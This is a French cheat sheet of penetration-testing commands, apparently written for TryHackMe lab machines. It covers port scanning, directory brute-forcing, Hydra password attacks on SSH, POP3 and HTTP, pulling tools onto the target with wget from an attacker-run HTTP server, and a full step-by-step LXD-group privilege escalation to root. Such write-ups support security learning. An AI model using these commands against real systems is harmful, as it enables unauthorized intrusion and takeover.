> For the complete documentation index, see [llms.txt](https://thm-solutions.hackethical.be/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thm-solutions.hackethical.be/outils.md).

# Outils

## 1. nmap

Pour trouver et explorer la liste des ports ouverts

```shell-session
nmap $IP -A -p- -oN nmap.txt -T4
```

## 2. gobuster

Pour trouver la liste des répertoires et différents fichiers importants

```shell-session
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x ".php,.html,.txt,.zip" -u $IP -t50
```

```
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x ".php,.html,.txt,.zip" -u http://$IP:8080 -t50 -U <user> -P <password>
```

## 3. Hydra

* Hydra pour ssh

```
hydra -l <user>  -P /usr/share/wordlists/rockyou.txt ssh://$IP:22 -t 64
```

* Hydra pour pop3

```
hydra -l <user>  -P /usr/share/wordlists/rockyou.txt pop3://$IP -s <port> -t 64
```

ou

```
hydra -l <user>  -P /usr/share/wordlists/fasttrack.txt pop3://$IP -s <port> -t 64 
```

* Hydra pour http-get

```
hydra -l <user> -P /usr/share/wordlists/rockyou.txt $IP -s <port> http-get
```

## 4. Pspy64

Permet de trouver les process cron exécutés par root **sans avoir les droits de root**

<https://github.com/DominicBreuker/pspy>

## 5. Transfert de fichiers

Pour transférer des fichiers depuis la machine Kali vers la machine cible:

1. sur la machine Kali
   1. aller dans le répertoire contenant les fichiers à transférer
   2. `python3 -m http.server`
2. sur la machine cible
   1. aller dans le répertoire /dev/shm
   2. `wget < kali tun0 IP>:8000/fichier.à.transférer`
   3. rendre les fichiers exécutables avec `chmod +x`

## 6. Privilege Escalation

Voici la méthode générique que j'utilise pour trouver les possibilités de 'privilege escalation'. Cette méthode est en partie basée sur l'article Linux [Privilege Escalation: Automated Script](https://www.hackingarticles.in/linux-privilege-escalation-automated-script/).

1. sudo -l
2. [suid3num.py](https://github.com/Anon-Exploiter/SUID3NUM/tree/master)
3. getcap -r / 2>/dev/null
4. [pspy64](#id-4.-pspy64)
5. [les.sh](https://github.com/The-Z-Labs/linux-exploit-suggester)
6. [linpeas.sh](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

## 7. Consolidation d'un Shell

```shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl Z
stty raw -echo; fg
export TERM=xterm  
stty cols 132 rows 34
```

## 8. Escalade de privilèges via LXD

Basé sur cet article: [LXC/LXD (Linux Container/Daemon) Privilege Escalation](https://exploit-notes.hdks.org/exploit/linux/container/lxc-lxd-privilege-escalation/)

Vérifiez que l'utilisateur sur la machine cible fait partie du groupe lxd

```shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
```

### 8.1 Sur la machine Kali

Préparez un conteneur linux et lancer un serveur http

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000
```

### 8.2 Sur la machine cible

Téléchargez le fichier \<alpine tar.gz> et importez-le comme image dans LXC

```
cd /dev/shm
wget http://<local-ip>:8000/<alpine tar.gz>
lxc image import ./<alpine tar.gz> --alias myimage
lxc image list
```

Créez un nouveau conteneur '**mycontainer**' basé sur l'image '**myimage**' qui vient d'être importée.

```
lxc init myimage mycontainer -c security.privileged=true
```

En cas de message **“**&#x4E;o storage pool found. Please create a new storage poo&#x6C;**.”** initialisez LXD d'abord et relancez la commande.

```
lxd init
```

Montez (mount) le répertoire principal / dans le répertoire /mnt/root du conteneur 'mycontainer' que vous venez de créer

```
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```

Démarrez votre conteneur

```
lxc start mycontainer
```

Lancez un Shell (note: l'image Alpine ne supporte qu'un shell sh)

```
lxc exec mycontainer /bin/sh
```

Vérifiez que vous êtes bien root

```
whoami
```

Rendez-vous dans le répertoire principal de la machine cible monté en /mnt/root et accédez en tant que root à toutes les données de la machine

```
cd /mnt/root

```

## 9. Outils Stéganographie

Pour trouver le mot de passe et extraire le fichier caché

```
stegseek image.jpg
```

Voici un lien vers une liste d'outils de stéganographie que j'utilise souvent

<https://medium.com/@ria.banerjee005/steganography-tools-techniques-bba3f95c7148>

On y retrouve notamment **strings**, **steghide**, **stegseek** et autres **exiftools**

## 10. WPscan

<https://blog.sucuri.net/2023/12/wpscan-intro-how-to-scan-for-wordpress-vulnerabilities.html>

```bash
wpscan --url http://$IP --api-token xxxxxxxxxxxxxxx --enumerate ap,at,tt,cb,dbe,u | tee wpscan.txt
```

## 11. FFUF&#x20;

ffuf permet de trouver les sous-domaines d'un site donné

```
ffuf -u http://<adresse IP du site> -H "HOST:FUZZ.<nom du site dans /etc/hosts>" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs {size}
```

un exemple pratique dans la vidéo <https://www.youtube.com/watch?v=AnJiRY3g5sg>

## 12. Sites intéressants

* <https://juggernaut-sec.com/blog/> est rempli de procédures et de méthodes utilisées en hacking.
